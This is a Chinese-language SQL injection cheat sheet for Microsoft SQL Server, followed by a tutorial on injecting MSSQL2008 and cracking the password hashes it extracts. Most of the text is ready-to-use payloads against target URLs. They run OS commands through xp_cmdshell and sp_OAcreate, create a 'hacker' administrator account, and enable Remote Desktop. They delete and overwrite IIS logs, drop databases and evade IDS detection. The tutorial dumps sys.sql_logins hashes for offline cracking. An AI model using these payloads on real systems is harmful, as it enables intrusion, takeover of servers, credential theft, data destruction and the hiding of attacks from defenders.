MSSQL注入:
and exists (select * from sysobjects) //判断是否是MSSQL
and exists(select * from tableName) //判断某表是否存在..tableName为表名
and 1=(select @@VERSION) //MSSQL版本
And 1=(select db_name()) //当前数据库名
and 1=(select @@servername) //本地服务名
and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员
and 1=(Select IS_MEMBER('db_owner')) //判断是否是库权限
and 1= (Select HAS_DBACCESS('master')) //判断是否有库读取权限
and 1=(select name from master.dbo.sysdatabases where dbid=1) //暴库名DBID为1,2,3....
;declare @d int //是否支持多行
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell') //判断XP_CMDSHELL是否存在
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread') //查看XP_regread扩展存储过程是不是已经被删除
添加和删除一个SA权限的用户test:(需要SA权限)
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin
停掉或激活某个服务。 (需要SA权限)
exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'
暴网站目录
create table labeng(lala nvarchar(255), id int)
DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result output insert into labeng(lala) values(@result);
and 1=(select top 1 lala from labeng) 或者and 1=(select count(*) from labeng where lala>1)
—————————————————————————————————————————————————————分割
DOS下开3389 并修改端口号
sc config termservice start= auto
net start termservice
//允许外连
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x0 /f
//该3389端口到80
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 80 /f
SQL Server
判断是否可注射:
http://www.targer.com/article.asp?id=6
http://www.targer.com/article.asp?id=6'
http://www.targer.com/article.asp?id=6 and 1=1
http://www.targer.com/article.asp?id=6 and 1=2
http://www.targer.com/article.asp?action=value' and 1=1
http://www.targer.com/article.asp?action=value' and 1=2
searchpoints%' and 1=1
searchpoints%' and 1=2
确定数据库类型:
http://www.targer.com/article.asp?id=6 and user>0
http://www.targer.com/article.asp?id=6 and (select count(*) from sysobjects)>0
查询当前用户数据信息:
article.asp?id=6 having 1=1--
暴当前表中的列:
article.asp?id=6 group by admin.username having 1=1--
article.asp?id=6 group by admin.username,admin.password having 1=1--
暴任意表和列:
and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1
and (select top col_name(object_id('admin'),N) from sysobjects)>1
暴数据库数据:
and (select top 1 password from admin where id=N)>1
修改数据库中的数据:
;update admin set password='oooooo' where username='xxx'
增添数据库中的数据:
;insert into admin values (xxx,oooooo)--
删数据库:
;drop database webdata
获取当前数据库用户名:and user>0
获取当前数据库名:and db_name()>0
获取数据库版本:and (select @@version)>0
判断是否支持多句查询:;declare @a int--
判断是否支持子查询:and (select count(1) from [sysobjects])>=0
数据库的扩展存储过程:exec master..xp_cmdshell
查看服务器C盘目录:;exec_master..xp_cmdshell 'dir c:\'
判断扩展存储过程是否存在:and select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
恢复扩展存储过程:;exec sp_addextendedproc xp_cmdshell,'xplog70.dll'
删除扩展存储过程:;exec sp_dropextendedproc 'xp_cmdshell'
在MSSQL2000中提供了一些函数用于访问OLE对象间接获取权限:
;declare @s int
;exec sp_oacreat 'wscript.shell',@s
;exec master..spoamethod @s,'run',null,'cmd.exe/c dir c:\'
判断当前数据库用户名是否拥有比较高的权限:
and 1=(select is_srvrolemember('sysadmin'))
and 1=(select is_srvrolemember('serveradmin'))
and 1=(select is_srvrolemember('setupadmin'))
and 1=(select is_srvrolemember('securityadmin'))
and 1=(select is_srvrolemember('diskadmin'))
and 1=(select is_srvrolemember('bulkadmin'))
判断当前数据库用户名是否为DB_OWNER:
and 1=(select is_member('db_owner'))
在SQLSERVER的master.dbo.sysdatabases表中存放着SQLSERVER数据库系统中的所有数据库信息,只需要PUBLIC权限就可以对此表进行SELECT操作:
and (select top 1 name from master.dbo.sysdatabase order by dbid)>0
and (select top 1 name from master.dbo.sysdatabase where name not in(select top 1 name from master.dbo.sysdatabases order by dbid) order by dbid)>0
删除日志记录:
;exec master.dbo.xp_cmdshell 'del c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt'
替换日志记录:
;exec master.dbo.xp_cmdshell 'copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt'
获取WEB路径:
;declare @shell int
;exec master..sp_oamethod 'wscript.shell',@shell out
;exec master..sp_oamethod @shell,'run',null,'cmd.exe/c dir /s d:/index.asp >c:/log.txt
利用XP_CMDSHELL搜索:
;exec master..xp_cmdshell 'dir /s d:/index.asp'
显示服务器网站配置信息命令:
cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/1/root
cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/2/root
利用XP_REGREAD可用PUBLIC权限读取:
;exec master.dbo.xp_regread
hkey_local_machine,
'system\currentcontrolset\services\w3svc\parameters\virtual roots\'
'/'
SQLSERVER下的高级技术可以参考阅读曾云好所著的精通脚本黑客第五章。
3、DSqlHelper
检测权限SYSADMIN:
and 1=(select IS_SRVROLEMEMBER('sysadmin'))
serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin、db_owner。
检测XP_CMDSHELL(CMD命令):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_cmdshell')
检测XP_REGREAD(注册表读取功能):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_regread')
检测SP_MAKEWEBTASK(备份功能):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_makewebtask')
检测SP_ADDEXTENDEDPROC:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_addextendedproc')
检测XP_SUBDIRS读子目录:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_subdirs')
检测XP_DIRTREE读子目录:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_dirtree')
修改内容:
; UPDATE 表名 set 字段=内容 where 1=1
XP_CMDSHELL检测:
;exec master..xp_cmdshell 'dir c:\'
修复XP_CMDSHELL:
;exec master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
用XP_CMDSHELL添加用户hacker:
;exec master.dbo.xp_cmdshell 'net user hacker 123456 /add'
XP_CMDSHELL把用户hacker加到ADMIN组:
;exec master.dbo.xp_cmdshell 'net localgroup administrators hacker /add'
创建表test:
;create table [dbo].[test] ([dstr][char](255));
检测表段test:
and exists (select * from test)
读取WEB的位置(读注册表):
;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/',@result output insert into test (dstr) values(@result);--
爆出WEB的绝对路径(显错模式):
and 1=(select count(*) from test where dstr > 1)
删除表test:
;drop table test;--
创建查看目录的表dirs:
;create table dirs(paths varchar(100), id int)
把查看目录的内容加入表dirs:
;insert dirs exec master.dbo.xp_dirtree 'c:\'
爆目录的内容dirs:
and 0<>(select top 1 paths from dirs)
备份数据库DATANAME:
declare @a sysname; set @a=db_name();backup DATANAME @a to disk='c:\inetpub\wwwroot\down.bak';--
删除表dirs:
;drop table dirs;--
创建表temp:
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
把驱动盘列表加入temp表:
;insert temp exec master.dbo.xp_availablemedia;--
删除表temp:
;delete from temp;--
创建表dirs:
;create table dirs(paths varchar(100), id int);--
获得子目录列表XP_SUBDIRS:
;insert dirs exec master.dbo.xp_subdirs 'c:\';--
爆出内容(显错模式):
and 0<>(select top 1 paths from dirs)
删除表dirs:
;delete from dirs;--
创建表dirs:
;create table dirs(paths varchar(100), id int)--
用XP_CMDSHELL查看目录内容:
;insert dirs exec master..xp_cmdshell 'dir c:\'
删除表dirs:
;delete from dirs;--
检测SP_OAcreate(执行命令):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'SP_OAcreate')
SP_OAcreate执行CMD命令:
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user hacker 123456 /add'
SP_OAcreate建目录:
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c md c:\inetpub\wwwroot\1111'
创建一个虚拟目录E盘:
;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e:\"'
设置虚拟目录E为可读:
;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'
启动SERVER服务:
;exec master..xp_servicecontrol 'start', 'server'
绕过IDS检测XP_CMDSHELL:
;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
开启远程数据库1:
; select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' )
开启远程数据库2:
;select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table'
对于MSSQL2008在注入漏洞方面的利用技巧。国内肯定很少企业会考虑将现有的数据库升级到2008,这段时间正对国外的一些渗透发现很多企业都是最新版的MSSQL2008了,服务器都升级为window2008了。特此,我特地下载了MSSQL2008来安装方便测试,在这次测试中有了一点心得,不敢独享,特来分享与大家。
0×01 MSSQL2008注入新特性
安装完MSSQL2008,我新建了一个数据库labdb,在里面建立了一张表名为admin,admin表有四个字段id,uname,upwd,uremak,如图01:
大牛看到这个应该就知道怎么回事了。就不必往下文看了。为了方便和我一样的小菜,我整理下利用办法。
0×02 MSSQL2008注入详细测试
在 MSSQL2008中,当我们添加一个新的数据库,系统会自动添加关于这个数据库信息的系统视图,这个视图类似于mysql5中的系统表 INFORMATION_SCHEMA表,在表中包含了关于数据库的表明和字段名的信息。我们先看一下对于我们注入有帮助的视图,主要是以下几个视图:
[INFORMATION_SCHEMA].[TABLES] — 该数据库的所有表名
|—[TABLE_NAME] — 该数据库下所有表名
[INFORMATION_SCHEMA].[COLUMNS] — 该数据库的所有列名
|—[TABLE_NAME] — 列名所属的表名
|—[COLUMN_NAME] — 列名
[sys].[columns] — 该表中的列名,不包含整个系统
|—[name] — 列名,但是没有所属表,不建议该表
[sys].[all_columns] — 系统中所有列名
|—[name] — 列名,但是没有所属表,不建议该表
[sys].[sql_logins] — 允许登录查询该表用户信息
|—[name] — 登录的用户名
|—[password_hash] — 登录的用户的密码hash
特别要说明的是这个视图是对于每个数据的。并不是系统只有一个。有了这个结构信息,我们来看看如何写我们的注入语句。
假设我们有这样一个注入点
http://www.81sec.com/news_disaply.aspx?id=1
我们判断和普通的注入类似,字符型获取其他类型也类似,我就不废话了。接下来我们判断是否支持多语句查询:
news_disaply.aspx?id=1 or 1=convert(int,(@@version)) –
这个用于查询mssql的版本,假设这里是MSSQL2008的。
查询当前数据库名
news_disaply.aspx?id=1 or 1=convert(int,(db_name)) –
这些是利用系统本身开启了错误提示,有时候我们没办法看到这些错误提示,那么我们就通过union select 来查询,这个和常规的SQL注入一样。
另外一种情况是,用户自定义的数据库表我们没办法猜到,那么就可以通过上面的系统视图来查询,语句如下:
news_disaply.aspx?id=1 and 1=2 union select 1,2,table_name,4,5,6,7,8 from information_schema.tables –
得到表名,接下来得到这个表名的字段,假设是admin表,SQL语句如下:
news_disaply.aspx?id=1 and 1=2 union select 1,2,column_name,4,5,6,7,8 from information_schema.columns where table_name=’admin’ –
这样就可以得到admin表的字段了。那么接下来猜表就很方便了,大家自行发挥。
0×03 搜索型的SQL注入技巧
有时候我们遇到搜索型的注入会比较纳闷,因为有时候没办法看到错误提示或者是在新闻显示页面只显示一条记录的问题。另外比如字段类型问题。我以实际的一个案例来说明如何去变通这种情况的注入,这个注入点是登录后才能注射的,所以我们重点不在于查找网站密码了。
1. 检测注入是否存在:
a%’ and 1=1– 正常显示,列出了所有信息
a%’ and 1=2– 提示没有找到资料,所有确实存在注射漏洞
2. 判断有多少个字段
a%’ order by 25 — 返回正常,说明字段大于24
a%’ order by 26 — 返回错误,表明字段是25个
3. 查表名
利用联合查询语句:
a%’ and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25—
正常返回了可列出的字段名。到这里当然有朋友会说这不和上面一样的?是的,没错,我们可以按照和上面一样的注射一样。但有时候你会遇到一些比较特殊的情况。我这样调整sql语句:
a%’ and 1=2 union select 1,(select top 1 table_name from information_schema.tables),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25—
返回第一个表名member,那么如何查第二个表明?我们稍微修改下语句,如下:
a%’ and 1=2 union select 1,(select top 1 table_name from information_schema.tables where table_name not in(‘member’)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25—
又返回了一个表名test,那么第三个表也是同理,语句如下:
a%’ and 1=2 union select 1,(select top 1 table_name from information_schema.tables where table_name not in(‘member’,test’)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25—
返回了一个paper,那么下面的表名也同理可以得到了,我就不猜了。
4.查列名
比如我想查上面的表member的第一个字段名,SQL语句如下:
a%’ and 1=2 union select 1,(select top 1 column_name from information_schema.columns where table_name=’member’),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25—
返回第一个字段ID,查找第二个字段同理和查第二个表名类似,SQL语句如下:
a%’ and 1=2 union select 1,(select top 1 column_name from information_schema.columns where table_name=’member’ and column_name not in(‘id’)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25—
这样就依次查询就可以得到所有列名了。有了上面的表明和列名就可以得到管理员的密码值了。
a%’ and 1=2 union select 1,name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from member—
4.得到管理员的登录信息
记得我们在上面说过了可以通过系统视图sys.sql_logins得到管理员的密码hash了。构造SQL语句如下:
a%’ and 1=2 union select 1,name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from sys.sql_logins –
通 过我们上面的一系列的测试发现字段1是整形的,而字段2是字符串,如果你硬给他附上字符串就会出错了。所以name只能放在第二个字段来处理。再想个比较 极端的,当你发现你能注入的这个表中字段大部分是数字型(只有一个是字符型),而你又要显示字符串那就只能借助上面的嵌套查询方法了。
通过上面SQL语句我们得到4个登录帐户:
##MS_PolicyEventProcessingLogin##
##MS_PolicyTsqlExecutionLogin##
Sa
Webuser
不错吧,在看看他们的HASH值。SQL语句如下:
a%’ and 1=2 union select 1,master.dbo.fn_varbintohexstr(password_hash) ,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from sys.sql_logins –
这里要特别注意,因为password_hash中是十六进制的,我们要转换成字符串型的,否则会出错,我们利 用master中的函数master.dbo.fn_varbintohexstr来转换。我们得到了HASH值了,我们来举个这个到底是如何加密的,我 们会得到如下的密码字符串:
0x01003869d680adf63db291c6737f1efb8e4a481b02284215913f
我查询了国外的一份资料知道了密码的加密方法:
0×0100 — 固定头部(6位)
3869d680 — salt (8位)
adf63db291c6737f1efb8e4a481b02284215913f — case sensitive hash(40位)
密码总共分为3部分,那么我们如何破解这个密码呢?我们可以通过cain来破解。
这种是SHA1的加密方式。首先去掉头部6位固定头,得到往下推6位salt,剩下的40位。我们打开cain来破解(需要相当强大的字典和运气),我们以破解密码123的hash
0x0100339B32D1BE31C680837BC877D1D0D87B31E18B9A927AD3E3
得到salt=339B32D1,
剩下的:BE31C680837BC877D1D0D87B31E18B9A927AD3E3
如图02:
点击ok,我们尝试用暴力破解,因为我知道密码是123,所以就很快了,如图03:
大家可以尝试到http://www.md5decrypter.co.uk/网站破解下或者其他的网站破解。破解永远都是鸡肋。往往是时间的问题。
0×04 最后总结
本文主要针对于MSSQL2008的相关注入说明,其实在MSSQL2005上已经使用这种方式了。具体还有哪些可以利用大家可以实验下,有什么好的思路或者建议可以和大家分享。文中有错误或者疑议的请联系我LengF(www.81sec.com)
参考文档:
[1]Database Password Hashes Cracking
http://www.notsosecure.com/folder2/2008/04/15/database-password-hashes-cracking/
[2]oracle hash cracker
http://freeworld.thc.org/thc-orakelcrackert11g/
[3]MDCrack tool Download
http://freeworld.thc.org/thc-orakelcracker